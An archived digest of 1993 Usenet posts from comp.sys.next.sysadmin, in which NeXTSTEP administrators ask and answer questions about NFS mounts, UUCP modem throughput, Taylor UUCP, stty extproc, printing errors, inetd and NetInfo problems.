0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5 Regards, -- Thor Legvold | "This is the strangest life NorNeXT User Group leader | I've ever known..." University of Bergen | -Jim Morrison, The Doors NORWAY | edmtl@edb.uib.no,
Newsgroups: comp.sys.next.sysadmin From: zeke@znext.cts.com (james dehnert) Subject: How to disable reset and power in login panel Message-ID: <1993Jun25.043631.2488@znext.cts.com> Keywords: reset login Sender: zeke@znext.cts.com (james dehnert) Organization: pnet Date: Fri, 25 Jun 1993 04:36:31 GMT I haven't seen this posted yet, so... Is there a way do disable the power and reset buttons on the main login pannel. I would rather not give that option to anyone sitting at the console. Zeke -- -=+~+=- Eschew Obfuscation Next Mail Welcome -=+~+=- -=+~+=- James "Zeke" Dehnert zeke@znext.cts.com -=+~+=-
From: wrob@unixg.ubc.ca (Robert Wong) Newsgroups: comp.sys.next.sysadmin Subject: cmsg cancel <20dhfgINN9di@skeena.ucs.ubc.ca> Control: cancel <20dhfgINN9di@skeena.ucs.ubc.ca> Date: 25 Jun 1993 08:15:23 GMT Organization: University of British Columbia, Vancouver, B.C., Canada Message-ID: <20ec6rINN9te@skeena.ucs.ubc.ca> References: <20dhfgINN9di@skeena.ucs.ubc.ca> Originator: wrob@unixg.ubc.ca <20dhfgINN9di@skeena.ucs.ubc.ca> was cancelled from within rn. -- Robert W. Wong Jr. wrob@unixg.ubc.ca (ASCII only) Crasher of Automated Banking Machines
Newsgroups: comp.sys.next.sysadmin From: boconnor@andi.org (Bob O'Connor) Subject: NFS Mounting Problem Message-ID: <C957zJ.60D@nextsrv1.andi.org> Sender: usenet@nextsrv1.andi.org (usenet) Organization: Association of NeXTSTEP Developers International Date: Thu, 24 Jun 1993 20:38:07 GMT I have a small NeXT network with one NFS server. A few weeks ago I did two things: 1) upgraded all machines to NS 3.0 2) moved the users' directories onto an external drive. Problem: One user is continually causing the machine to lock up. Sometimes this happens when 1) clicking on an autolaunching app before all apps are finished launching 2) working in various apps. Also, there is one mail message consisting of garbage characters that won't stay deleted. I delete it, but it comes back the next time I log in. When I use UserManager to delete this user's home directory (/Users/username), it doesn't delete. In the File Viewer, when selecting the mount point "/Users/username", nothing shows up. But when selecting the original location "/External_400/Users/username", everything shows up fine. Configuration info: My /etc/fstab file looks like this: /dev/sd0a / 4.3 rw,noquota,noauto 0 1 /dev/sd1a /External_400 4.3 rw,noquota 1 2 I used NFSManager to set up: In the "/Server - Exported Directories" window: /External_400 with everybody having read/write permissions. In the "/ - Imported Directories" window: NFS Server Remote Directory Local Directory Server /External/Users /Users Permissions on /External and /External/Users are 777. This appears to be a mounting problem with read/write permissions. Does this make sense? Is this a 3.0 bug? or did I just do something wrong? Many thanks in advance. Bob O'Connor boconnor@andi.org
Newsgroups: comp.sys.next.sysadmin From: schurch@weasel (Sean Church) Subject: Mail alias pictures Message-ID: <1993Jun24.202934.1080@pages.com> Keywords: mail alias pictures tiffs Sender: schurch@pages.com Organization: Pages Software Inc. Date: Thu, 24 Jun 1993 20:29:34 GMT O.K., it's a last gasper... Does anyone know what has to be done to get the mail app to recognize and display the tiffs of folks who are NOT part of our network ? An example : drop the tiff in /LocalLibrary/Images/People... (joebob@saltmine.com) mailDBupdate has no clue what to do with this. Joe Bob (JB to his friends) never has a face in my pretty mail app.... and adding joebob@saltmine.com as a user account is out not a good answer. I think there is something to do with hand editing the file ~/.NeXT/.mailalias for the mail app running in the account to see it... Any help would be greatly appreciated! Send me e-mail, since I am taking Friday and Monday off, so I will not be reading News (I respond to e-mail... News is a giant pile I rarely go through). Thanks! Sean church schurch@pages.com <NeXTMail YES!>
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt) Newsgroups: comp.sys.next.sysadmin Subject: playscore in 3.1 Message-ID: <15166@blue.cis.pitt.edu> Date: 25 Jun 93 15:45:59 GMT Sender: news+@pitt.edu the command line 'playscore' does no work for me in 3.1. I get a message: Can't open DSP If I click a sound file and activate the ScorePlayer application, it does play the sound. Any clues what's wrong with the command line? Thanks, Yadin. yygold@yadin.phyast.pitt.edu
From: jnicolas@image.mit.edu (Julien Nicolas) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer Subject: tcpdump under NS3.0??? Message-ID: <JNICOLAS.93Jun25121947@image.mit.edu> Date: 25 Jun 93 17:19:47 GMT Sender: news@news.media.mit.edu (USENET News System) Organization: Massachusetts Institute of Technology, Cambridge, USA Looking for a version of tcpdump that compiles under NS 3.0 (040). Any pointers appreciated. Julien Nicolas
From: marcos@kaleida.com (Paul Marcos) Newsgroups: comp.sys.next.sysadmin Subject: Automatically download fonts to non-NeXT printer? Date: 25 Jun 1993 16:31:02 GMT Organization: Kaleida Labs, Inc. Distribution: world Message-ID: <20f986INN45g@golden.kaleida.com> Being frustrated with the inability to print files directly from a NeXT to an Apple LaserWriter and get the right fonts included automatically, a friend of mine and I wrote a Perl hack that will do automatic font inclusion with print jobs. Is anybody else interested in having this? If so, I'll clean it up and put it on an FTP site. E-mail me if you are interested. Paul -- ................................................................... Paul Marcos NeXTMail encouraged! Kaleida Labs, Inc. marcos@kaleida.com
Newsgroups: comp.sys.next.sysadmin From: irving@Happy-Man.com (Irving_Wolfe) Subject: Re: crontab problems with 3.1 (black) Message-ID: <1993Jun25.162337.19359@Happy-Man.com> Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399 References: <1993Jun24.144948.3382@nimno.wpa.com> <C95FxB.o8x@ns1.nodak.edu> Date: Fri, 25 Jun 1993 16:23:37 GMT In <C95FxB.o8x@ns1.nodak.edu> brian@gehenna.acm.ndsu.NoDak.edu (Brian R. Glaeske) writes: >There is no need to do the silly su(1) thing for cron since it will run the >command as the userid specified in the sixth column. Also, there's no reason to keep using the BSD crontab system when one that's better than the SYSV version is available for free, written by Paul Vixie. An older one lives somewhere on sonata; its name includes both 'vixie' and 'cron'. This provides modern crontabs, separate one for each authorized user, as well as other enhancements. -- Irving_Wolfe@Happy-Man.com 206/463-9399 x101 fax 206/463-9255 Happy Man Corp. 4410 SW Pt. Robinson Rd., Vashon, WA 98070-7399 We publish SOLID VALUE for the intelligent investor. NextMail OK Info. packet free. Send POSTAL address: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.sysadmin From: kurt@frsvnsvn.cts.com (Kurt Werle) Subject: Continued probs. w/ Novell + NS 3.0 Message-ID: <1993Jun25.165510.2919@frsvnsvn.cts.com> Summary: NeXT connection hangs Organization: little to none Date: Fri, 25 Jun 1993 16:55:10 GMT I'm having continual problems with my Next's (slab, 33Mhz, 24Meg mem, 3.0) connection to out Novell Network (10baseT, 3.15). For most processes it seems to work fine, but when I try to back up the server using (gnu) tar on the next the connection starts to 'hang off and on'. By that I mean that it stays connected to the network, but for periods of time varying from 5 minutes to hours the network will appear to not respond to the NeXT. The Server says that the NeXT is making requests, but not reading anything (on the 'monitor'). Has anyone had success with backing up a Novell Server to a NeXT, and does anyone have suggestions for this particular problem? Thanks much, Kurt
From: conrad@socrates.ucsf.edu (Conrad Huang %CGL) Newsgroups: comp.sys.next.sysadmin Subject: Re: Things that get stuck when SLIP is active Message-ID: <conrad.741047740@cgl.ucsf.edu> Date: 25 Jun 93 22:35:40 GMT References: <1993Jun21.164314.1224@prim> <1993Jun22.210325.1145@alf.uib.no> Sender: news@cgl.ucsf.edu (USENET News System) Organization: UCSF Computer Graphics Lab In article <1993Jun21.164314.1224@prim> dave@prim.demon.co.uk (Dave Griffiths) writes: > > Does anyone know why certain commands (eg "su", or launching a new shell) > sometimes hang for long periods of time when a SLIP connection is active? Is > there anyway to prevent this frrom happening? > > Thanks, > > Dave Griffiths The problem may be netinfo trying to locate a parent server. We solved the problem by removing the "serves .." property from "broadcasthost" in the "machines" directory. You can probably do it with HostManager now. Conrad
Newsgroups: comp.sys.next.sysadmin From: jsmith@acb2.claremont.edu (Joel Smith) Subject: Apple LaserWriter and NeXTstep 3.0 Message-ID: <C97AyB.5xE@news.claremont.edu> Keywords: NeXT Sender: news@news.claremont.edu (The News System) Organization: Harvey Mudd College, Claremont CA 91711 Date: Fri, 25 Jun 1993 23:37:22 GMT When I connect an Apple LaserWriter NTR to my next (040 - 8mB - 3.0), the only thing I get to print is the test page provided in Print Manager. Whenever I try to print from an application, I get a PostScript error: ERROR: undefined, OFFENDING COMMAND:setpagedevice. Any ideas about how to solve this problem? Joel Smith
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: kluge@avalon.physik.unizh.ch (Daniel G. Kluge) Subject: Re: Secure UUCP and SLIP/PPP Connections Message-ID: <1993Jun25.234759.27674@ifi.unizh.ch> Followup-To: comp.sys.next.software,comp.sys.next.sysadmin Sender: news@ifi.unizh.ch (USENET News Admin) Organization: University of Zurich, Department of Computer Science References: <1993Jun18.180600.2241@weston.com> Date: Fri, 25 Jun 1993 23:47:59 GMT Wes Spears (jspears@weston.com) wrote: : I would like to get information from anyone who has a UUCP or SLIP/PPP : connection, and who was extremely concerned about security. What I would : ideally like are sources of information that you have found helpful, and : any pearls of wisdom that you could share. Ok, for the beginning, it's really simple: just use a v.32bis Modem inbetween! Why ? Well, if you're tapping on the line, you will have to tear the two signals apart, which are Trellis-Coded, a 128-Point APSK Eye-Pattern. SO if you wan't one signal, you subtract the other, but only the sender knows, what he is sending, and subtracts it from the receiving signal, to get the proper signal from the other side. So, it should be VERY difficult, to get some proper signals, and then decode them, have fun !! for more security, hm hang a VINCI Chip on the line, before it leaves your house, this should be as secure as transmition can be today (The VINCI Chip implements the IDEA algorithm, which is also used by PGP, with a Bandwith of some MBs, don't got the specs right here) : Thanks : -- : Wes Spears <-------> jspears@weston.com (NeXTMail Welcome) : The Weston Group : 8524 Highway 6 North, 162, Houston, TX 77095 -daniel -- Daniel G. Kluge @ Swiss Federal Institute of Technology Zuerich E-Mail : kluge@avalon.physik.unizh.ch (NeXT-Mail welcome) study-related stuff : dankluge@iiic.ethz.ch DECnet : EZINFO::CLUESCH
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: partent/ushare Date: 26 Jun 1993 00:53:43 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <20g6mn$cj9@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I was a satisfied beta tester of partner/ushare and was very glad that I could contribute a little to this product. Now I upgraded to 3.1 on by black cube and purchased partner+ for $250+shipping from IPT. Well, it disables NFS - a bug I thought was fixed in beta (partially due to my help). Did anyone have similar experiences? BTW, examine the /ushare/bin/startpa script to see that they knew of the NFS problem and they tried to fix it, but it didn't work, at least not on my cube. Lookin' forwad to hearing from you...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: gbol@nos40nm.shell.com (Gregory B. Lampshire) Newsgroups: comp.sys.next.sysadmin Subject: bring NS Intel up with only a character monitor Message-ID: <GBOL.93Jun25114944@nos40nm.shell.com> Date: 25 Jun 93 16:49:41 GMT Sender: usenet@shellgate.shell.com (USENET News System) Organization: Shell Offshore, Inc Is the following scenario possible or deficient with NS on PC's: 1) bring NS up on the PC with only a character screen attached or an unsupported monitor 2) develop/compile a video driver on white hardware using black for a frontend 3) load it up, then start the gui I am interested in developing a driver for Cornerstone 150 bw monitors and I am wondering what the best hardware config and setup is for such a task..... gregory gbol@shell.com gbol@rglnext.geol.vt.edu
From: wrob@unixg.ubc.ca (Robert Wong) Newsgroups: comp.sys.next.sysadmin Subject: Re: Is 3.0 to 3.1 an "easy" upgrade? Date: 26 Jun 1993 05:24:14 GMT Organization: University of British Columbia, Vancouver, B.C., Canada Message-ID: <20gmhuINNcaa@skeena.ucs.ubc.ca> References: <382@gouche.UUCP> In article <382@gouche.UUCP> grant@Manticore.COM writes: >What's the consensus on upgrading from 3.0 to 3.1 on a slab? Does it generally >go smoothly? Is there a doc somewhere that tells what the enhancements for >3.1 are or is it all bug fixes? Thanks, It was relatively painless for my cube, when I went from 3.0 to 3.1. On page 34 of the NEXTSTEP IN FOCUS, there is an explanation of what's new in the 3.1 developer version. RWW. -- Robert W. Wong Jr. wrob@unixg.ubc.ca (ASCII only) Crasher of Automated Banking Machines
Newsgroups: comp.sys.next.sysadmin From: tlm@iastate.edu (Tom Marchioro) Subject: Re: stty -extproc (was: rlogind is broken, anyone have a fixed version?) Message-ID: <tlm.741074605@scl1.al.iastate.edu> Sender: news@news.iastate.edu (USENET News System) Organization: Iowa State University, Ames IA References: <C8yCJE.1KH@usenet.ucs.indiana.edu> <1993Jun21.084646.3493@urz.unibas.ch> <tlm.740681541@scl1.al.iastate.edu> <HERRING.93Jun24225909@brutus.dannug.dk> Date: Sat, 26 Jun 1993 06:03:25 GMT In <HERRING.93Jun24225909@brutus.dannug.dk> herring@dannug.dk (Erick Herring) writes: >Tom is: Tom Marchioro <tlm@iastate.edu> >Somebody (I think Robert Frank) says: >>> >>> I always got around this by having the following in my .login: >>> >>> stty -extproc >Tom> After I added this to my .login (sent to me by someone over the >Tom> net, who admitted he himself had no idea what it did) I made a >Tom> fairly serious search to find out about this flag. Wrote to >Tom> several Unix gurus I knew, checked various man pages and >Tom> administration manuals. The upshot was that I *never* found out >Tom> what it does. Just one of those weird pieces of Unix lore. . . . >The following was gleaned from BSD net-2 code. I can't see that it is >"documented" anywhere, either. Maybe this will at least salve your >curiosity :-) Oh, of course! Now it's obvious! :) :) Thanks for the info --- Tom <<Unbelievable mess of low level code deleted>> :)
From: disc@vector.intercon.com (David Casti) Newsgroups: gnu.misc.discuss,comp.sys.next.software,comp.sys.next.sysadmin Subject: Re: Compiling oleo Followup-To: gnu.misc.discuss,comp.sys.next.software,comp.sys.next.sysadmin Date: 26 Jun 1993 16:22:54 GMT Organization: InterCon Systems Corporation, Herndon, VA, USA Message-ID: <20ht4u$r76@news.intercon.com> References: <207rl7$e5r@news.intercon.com> Hi folks, A while ago, I wrote: : I've been unsuccessful at compiling GNU oleo on my NeXT running NS 3.0. : I'm looking for anyone who has oleo up and running in that environment. And while no one had any pointers for why it wouldn't compile on my cube, someone did send me the binary. It is available via anonymous FTP from vector.intercon.com:/pub/next/oleo. Enjoy! David.
Newsgroups: comp.sys.next.sysadmin From: mgb@moksha.uucp (Michael Branton) Subject: Re: What does "scintr program error" mean? Message-ID: <1993Jun25.003152.4589@moksha.uucp> Sender: mgb@moksha.uucp (Michael Branton) Organization: Totally Disorganized References: <20a435INNj3h@jhunix.hcf.jhu.edu> Date: Fri, 25 Jun 1993 00:31:52 GMT In article <20a435INNj3h@jhunix.hcf.jhu.edu> robinc@jhunix.hcf.jhu.edu (Robert Delucca) writes: > Hello, > > I have a Seagate 250mb internal drive which has been > spinning down and stopping (not the fan, the drive) for > no apparent reason. I checking the connections. I've > got a replacement drive on the way from Bell Atlantic. > > When I booted, I got "scintr program error" at the very > beginning of the boot sequence in the ROM monitor. Nothing > else out of the ordinary. No console messages either. > What does this mean? Inquiring mind wants to know. > > Thanks > > > Robert de Lucca > email robinc@jhunix.hcf.jhu.edu > I, too, have seen this error form time to time and would like to know its etymology :-), so if you know, please post or reply to mgb@stetson.bitnet Michael Branton _____________________________________________________________ mgb@moksha.UUCP mgb@stetson.BITNET NeXT mail welcome ! -- -Michael
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin Subject: Re: stty -extproc (was: rlogind is broken, anyone have a fixed version?) Date: 26 Jun 1993 17:07:08 GMT Organization: University of Maryland, College Park Message-ID: <20hvns$ii8@ni.umd.edu> References: <1993Jun21.084646.3493@urz.unibas.ch> <tlm.740681541@scl1.al.iastate.edu> <HERRING.93Jun24225909@brutus.dannug.dk> <C95FK1.AL3@world.std.com> In article <C95FK1.AL3@world.std.com> lloyd@world.std.com (Chris Lloyd) writes: > >My understanding is that extproc is used by things like rlogin telnet, >in which you have: > > shell <-pty-> telnetd <-net-> > >The pty will normally treat all data coming from telnetd as an unprocessed >stream of characters, which it digests, doing things like cooked mode >editing (if your in cooked mode) with the control characters you type >into the stream. > >When you turn on extproc, the pty doesn't do as much processing (dont >ask me what), which can then be done on the local end of the incoming >telnet client, avoiding some single character traffic. The "EXTPROC" thing is there to make linemode telnet work. Think about it - for linemode telnet to work, the server needs to be aware of the state of the tty/pty (is it in RAW mode, what the the special characters, etc.) When EXTPROC is enabled on the pty, the master side of the pty (/dev/ptyp?, that is, what telnetd has open) is notified when the slave side (/dev/ttyp?, what the shell and user programs have open) has its state change. When the state of the pty changes, the telnetd process can then negotiate telnet options and cause the client telnet program to do the local line editing and echoing when in "cooked mode". The problem that -extproc fixes is a broken telnet client implementation that doesn't deal well with linemode telnet. If you disable extproc, then none of this interesting stuff goes on at all. >However, none of it seems to work and seems nullified by things like >line mode in telnet. If I'm not mistaken, extproc is just a tool that telnet uses.. Louis Mamakos University of Maryland
Newsgroups: comp.sys.next.sysadmin From: kluge@avalon.physik.unizh.ch (Daniel G. Kluge) Subject: Re: Nice fast modem is slow, Why? Message-ID: <1993Jun26.232155.19552@ifi.unizh.ch> Sender: news@ifi.unizh.ch (USENET News Admin) Organization: University of Zurich, Department of Computer Science References: <1993Jun17.010021.270@frogware.com> Date: Sat, 26 Jun 1993 23:21:55 GMT Ben Bernhard (ben@frogware.com) wrote: : I know that this has been covered before, but I didn't pay attention. My new : 14.4 modem is only receiving (through UUCP) at about 5500 pbs. Why?? : How (in some detail if possible , I'm not a unix guru) do I get up to full : speed?? Hm, sounds common to me :-) Well, most UUCP connections use the rather lame 'G-protocol' which has really a lot of overhead, (64 Bytes packtes and such crap) You have now 2 solutions: Force F-Protocoll with a hack Bring Taylor-UUCP to work. The first, is a not so wide spread hack for NexT Computers (probably works on others as well, doesn't work on Ultrix) in which u define the other side as X.25 reachable, but the Computer won't find the PAD, so it uses the serial line, and assumes that it is an error free connection. Here are the entries: L-devices: # this is a Hack ! PAD cua unused 38400 direct Make the analog changes to the L.sys file, and it should work, some people in the usergroup use it, I don't because my host is a Decstation. Taylor UUCP: Anyone got it to work ?? : thanks for any help, : ben : -- -daniel -- Daniel G. Kluge @ Swiss Federal Institute of Technology Zuerich E-Mail : kluge@avalon.physik.unizh.ch (NeXT-Mail welcome) study-related stuff : dankluge@iiic.ethz.ch DECnet : EZINFO::CLUESCH
Newsgroups: comp.sys.next.sysadmin From: kwang@data.acs.calpoly.edu (Kevin John Wang) Subject: Re: Booting Headless...HELP! Message-ID: <1993Jun26.013547.173576@zeus.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: Cal Poly State University, San Luis Obispo References: <1993Jun23.090629.146702@zeus.calpoly.edu> Date: Sat, 26 Jun 1993 01:35:47 GMT In article <1993Jun23.090629.146702@zeus.calpoly.edu> kwang@data.acs.calpoly.edu (Kevin Wang (The Scarecrow)) writes: > According to the documentation:: > > Alternate Console > If the ROM monitor detects that the display monitor or keyboard is > disconnected when the computer is turned on, the ROM monitor attempts > to communicate with a terminal connected to serial port A if this > parameter is set to yes. > > However, everytime I try this, I get PART of the ROM monitor > startup sequence: > > CPU M68040.... blah blah blah > Backplane... > Ethernet... > Memory... > Testing...this, that, blah, foo, bar > > and then I get garbage on that same line after testing one or two items. I now cna get the '030 to tftp the mach kernel, but as soon as that finishes, I get "Rom Monitor..." and then a SOLID lockup. even when I hooked up the mono head to it, cmd-cmd-twiddle did NOTHING. only way to restart the '030 was CMD-ALT-* Could it be because it doesn't like being in slot #1? (I think I know how to rewrite the backplane for the slot id#'s... > the terminal is at 9600baud, 7e1, and I have a '040 and '030 cube, > non-turbo, each with 16 megs, but only one HD, on the '040... setting to the terminal to 8N1 made it happy.
Newsgroups: comp.sys.next.sysadmin From: kanthraj@lib.utk.edu (Harish Kanthraj) Subject: Telnet sessions Message-ID: <kanthraj.6@lib.utk.edu> Sender: usenet@martha.utcc.utk.edu (USENET News System) Organization: University of Tennessee Library Date: Sun, 27 Jun 1993 07:29:35 GMT Hi, I've been running a few gopher servers on my NeXTstation Turbo 3.0. One of the versions required that I start it from inetd - so I included the corresponding entries in my /etc/inetd.conf & /etc/services files & restarted inetd but the servers refused to connect through. Well, I said - Instead of a -HUP let me kill the process & start all over again, but to no avail. I tried to reboot the system but it refused to budge. I kind've postponed it for a while & tried to install X & SLIP on the system. The X version I downloaded would just lock up the screen & I had to reboot to free it. Somewhere along the process I realized I was unable to telnet into the system. I checked the status & to my dismay found that the inetd process was nonexistent when I rebooted the machine. I physically started the inetd process - it allows me to telnet but immediately shuts off the connection ( message pops up - Connection closed by Host). I have been messing around with this guy but so far I do not seem to have a clue as to why its doing this. I even copied the original inetd.conf & services file from the CD - but, boy, it just refuses to start inetd on rebooting. I'm willing to try out any suggestions or ideas - Thanks Harish kanthraj@utkvx.utk.edu
Newsgroups: comp.sys.next.sysadmin From: tarek@next1.tam.uiuc.edu (Tarek G Shawki) Subject: Strange Behavior of NetInfo, Host and User Managers!!! Date: Sun, 27 Jun 1993 07:02:37 GMT Message-ID: <C99q8D.tF@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Keywords: NetInfo, HostManager, Organization: University of Illinois at Urbana We do have a network of 14 NeXTs that run fairly smoothly except for one client machine which, since the the 2.1 -> 3.0 upgrade, fails to run UserManager (crashes as it launches), HostManager (crashes as it launches) and NetInfoManager (which launches but crashes immediately if you try to "open" any domain). I have looked for any obvious inconsistencies in the local domain but observed no errors. This machine functions properly otherwise. It may be useful to note that if you try to launch, say, the UserManager from a shell; you get a "bus error"!!! We would appreciate help as to what is meant by a "bus error" and what is it that is wrong here ?! Your help is greatly appreciated. -- _________________________________________________________________________ Tarek G. Shawki Associate Professor 134 Talbot Laboratory Theoretical & Applied Mechanics Tel: 217 333 7131 University of Illinois Fax: 217 333 3625 104 South Wright Street E-mail: t-shawki@uiuc.edu Urbana, Illinois 61801
Newsgroups: comp.sys.next.sysadmin From: thomas@olorin.dark.sub.org (Thomas Fischer) Subject: Re: Nice fast modem is slow, Why? Message-ID: <1993Jun27.081443.13013@olorin.dark.sub.org> Organization: Olorin, NeXT Development & System Administration, FRG References: <1993Jun17.010021.270@frogware.com> <1993Jun26.232155.19552@ifi.unizh.ch> Date: Sun, 27 Jun 1993 08:14:43 GMT kluge@avalon.physik.unizh.ch (Daniel G. Kluge) wrote: > >Taylor UUCP: >Anyone got it to work ?? Sure, the latest version compiles just great on a NeXT... Thomas -- Good day for a change of scene. Repaper the bedroom wall. --- Thomas Fischer, thomas@olorin.dark.sub.org, +49 7191 23217 (fax & data)
From: karthy@dannug.dk (Karsten Thygesen) Newsgroups: comp.sys.next.sysadmin Subject: Re: Nice fast modem is slow, Why? Date: 27 Jun 1993 11:19:42 GMT Organization: Dannug - Danish NeXT Users Group Message-ID: <KARTHY.93Jun27131943@dannug.dannug.dk> References: <1993Jun17.010021.270@frogware.com> <1993Jun26.232155.19552@ifi.unizh.ch> In-reply-to: kluge@avalon.physik.unizh.ch's message of Sat, 26 Jun 1993 23:21:55 GMT In article <1993Jun26.232155.19552@ifi.unizh.ch> kluge@avalon.physik.unizh.ch (Daniel G. Kluge) writes: Taylor UUCP: Anyone got it to work ?? Sure - and besides the advantages by not using the G protocol, it uses a proprietary protocol, "i", which is biderectional and runs like a dream! Our average throughput by using ZyXEL U1496E+ modems is typical like this: DanNug Transfer Statistic from 1993-06-01 to 1993-06-27 +---------+---------+---------+---------+--------+ | Received| Sendt to| Sendt to| Total | AVG | | | MAIL | NEWS | | bytes/s| +---------+---------+---------+---------+--------+ | 0.26737| 0.47934| 5.75254| 6.49925| 2134.43| +---------+---------+---------+---------+--------+ So - 5.7M news, which is compressed in advance, and a few hundred kilobyte mail is transfered by 2100 bytes/second in average. Taylor UUCP compiles pretty easy on the NeXT and it's quite easy to configure. The last version is 1.04 and can be found on many (GNU?) sites as /pub/gnu/uucp.1.04.tar.gz or something like that.. There is also a very active mailinglist with a bounch of nice people who sure will help you with any problems. Regards, Karsten.
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer) Newsgroups: comp.sys.next.sysadmin Subject: Re: Nice fast modem is slow, Why? Date: 27 Jun 1993 09:01:36 GMT Organization: the Borg Distribution: world Message-ID: <20jnlgINN7k@theborg.stack.urc.tue.nl> References: <1993Jun26.232155.19552@ifi.unizh.ch> In article <1993Jun26.232155.19552@ifi.unizh.ch> kluge@avalon.physik.unizh.ch (Daniel G. Kluge) writes: > Ben Bernhard (ben@frogware.com) wrote: > : I know that this has been covered before, but I didn't pay attention. My new > : 14.4 modem is only receiving (through UUCP) at about 5500 pbs. Why?? > : How (in some detail if possible , I'm not a unix guru) do I get up to full > : speed?? > If you use NeXT uucp you must enlarge the packet size to 1024 or 2048 to make the g-protocol more efficient, but read on... > Taylor UUCP: > Anyone got it to work ?? > Yup, we use it over here and it's great, especially the i-protocol which uses the full-duplex capability of most modems to send data both ways at the same time with piggy-backed acknowledgements (with 16k8 or even 19k2bps on my ZyXEL the data literally flies). Installation is not difficult and you can configure it to use your existing NeXTSTEP configuration files and scripts. Good luck, Annard -- Annard Brouwer annard@stack.urc.tue.nl (NeXTmail appreciated) People? You can forget it.
Newsgroups: comp.sys.next.sysadmin From: klett@sunrayce.solar.umn.edu (James P. Klett) Subject: TIP! Where to get doc's??????? Message-ID: <C9ADHy.9xp@news2.cis.umn.edu> Sender: news@news2.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Date: Sun, 27 Jun 1993 15:19:46 GMT Does anyone know of a UNIX book that will describe tip in detail? All I can find are UNIX System V manuals or simple man page type descriptions. Please mail your responce to klett@sunrayce.solar.umn.edu. since I have a hard time getting to read the newsgroup responces. Thanks, Jim
Newsgroups: comp.sys.next.sysadmin From: clarance@uaneuro.uah.ualberta.ca (Clarance Howatt) Subject: Network access problem Message-ID: <1993Jun27.180132.7986@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Sun, 27 Jun 1993 18:01:32 GMT I was very happy to learn that the hospital where I maintain a small NeXT lab was to receive two new to us NeXT color stations. These machines were to replace existing workstations that we had on loan. When they arrived I was very impressed by the fact that the network recongized that they were new machines and prompted for a confirmation. That was all there was to it (NOT). I now seems that these two machines nolonger have network acces outside of the local domain. At first I thought that it was a name server problem because if I used the numeric address of a machine I had no problem accessing it. I talked to the people who maintain the name server and they said that that was NOT a possibility. They are not exactly NeXT supporters and assured me that it was because I was using a box that is evil :-). I have tried everything that I can think of and everything that my friends can think of. If you have any suggestings I would be most grateful --------- Clarance Howatt
Newsgroups: comp.sys.next.sysadmin From: magnus@fisher.Stanford.EDU (Magnus Nordborg) Subject: SETUID ignored by NXautolaunch Message-ID: <1993Jun27.202807.9102@leland.Stanford.EDU> Keywords: setuid, terminal, wmtp, finger, talk Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Sun, 27 Jun 93 20:28:07 GMT Hi, here is a mystery: A local lab is having problems with getting wtmp updated correctly (so finger doesn't work, etc). I have helped track the problem down to that the setuid on Terminal is ignored when that program is auto-launched on login (ps shows it as running as the user logged in). Quitting and restarting Terminal restores normal behaviour (and ps confirms that Terminal is now running as root). What could possibly cause this? Grateful for any hints (email and I will summarize). Yours in consternation, -Magnus -- Magnus Nordborg magnus@fisher.stanford.edu (NeXT mail preferred) Department of Biological Sciences Stanford University Stanford, CA 94305-5020 +1 (415) 723-4952 (office)
Newsgroups: comp.sys.next.sysadmin From: kdburg@incoahe.hanse.de (Klaus Dahlenburg) Subject: Re: Nice fast modem is slow, Why? Message-ID: <1993Jun27.115933.4296@incoahe.hanse.de> Organization: Hanse Networking eV., Hamburg; Germany References: <1993Jun17.010021.270@frogware.com> <1993Jun26.232155.19552@ifi.unizh.ch> Date: Sun, 27 Jun 93 11:59:33 GMT kluge@avalon.physik.unizh.ch (Daniel G. Kluge) writes: [...] stuff deleted >Taylor UUCP: >Anyone got it to work ?? on a NeXT? yes. What's the problem? I'm running Taylor from 1.03 -> 1.04 and had no difficulties. Klaus -- Klaus Dahlenburg email : kdburg@incoahe.hanse.de P.O.Box 1267 Fax : +49 4287 676 D-2117 Tostedt Voice : +49 4287 681 Germany (w) Timezone : GMT + 2 ++EOM++
Newsgroups: comp.sys.next.sysadmin From: kdburg@incoahe.hanse.de (Klaus Dahlenburg) Subject: Re: Nice fast modem is slow, Why? Message-ID: <1993Jun27.123241.4423@incoahe.hanse.de> Organization: Hanse Networking eV., Hamburg; Germany References: <1993Jun17.010021.270@frogware.com> <1993Jun26.232155.19552@ifi.unizh.ch> Date: Sun, 27 Jun 93 12:32:41 GMT Hi out there, in above article I found the term 'pbs'. Can anyone tell me what that means? Klaus -- Klaus Dahlenburg email : kdburg@incoahe.hanse.de P.O.Box 1267 Fax : +49 4287 676 D-2117 Tostedt Voice : +49 4287 681 Germany (w) Timezone : GMT + 2 ++EOM++
From: pkron@corona.com (Peter Kron) Newsgroups: comp.sys.next.sysadmin Subject: ? Posting news via rnews Message-ID: <109.UUL1.3#16216@corona.com> Date: Sun, 27 Jun 93 22:50:42 PDT Organization: Corona Design, Inc., Seattle, WA I send/receive mail from NEXTSTEP via UUCP, but still post news from a DOS utility, which queues it to rnews via UUCP at the same site. I would think I could do the same from NEXTSTEP, perhaps by altering sendmail.cf to recognize comp.* addresses and specifying a news mailer. Before I abandon all hope and enter sendmail though...has anyone else got experience with this approach or something similar or something better? Thanks --------------- Peter Kron P.O. Box 51022 Corona Design, Inc. Seattle, WA 98115-1022 Peter_Kron@corona.com
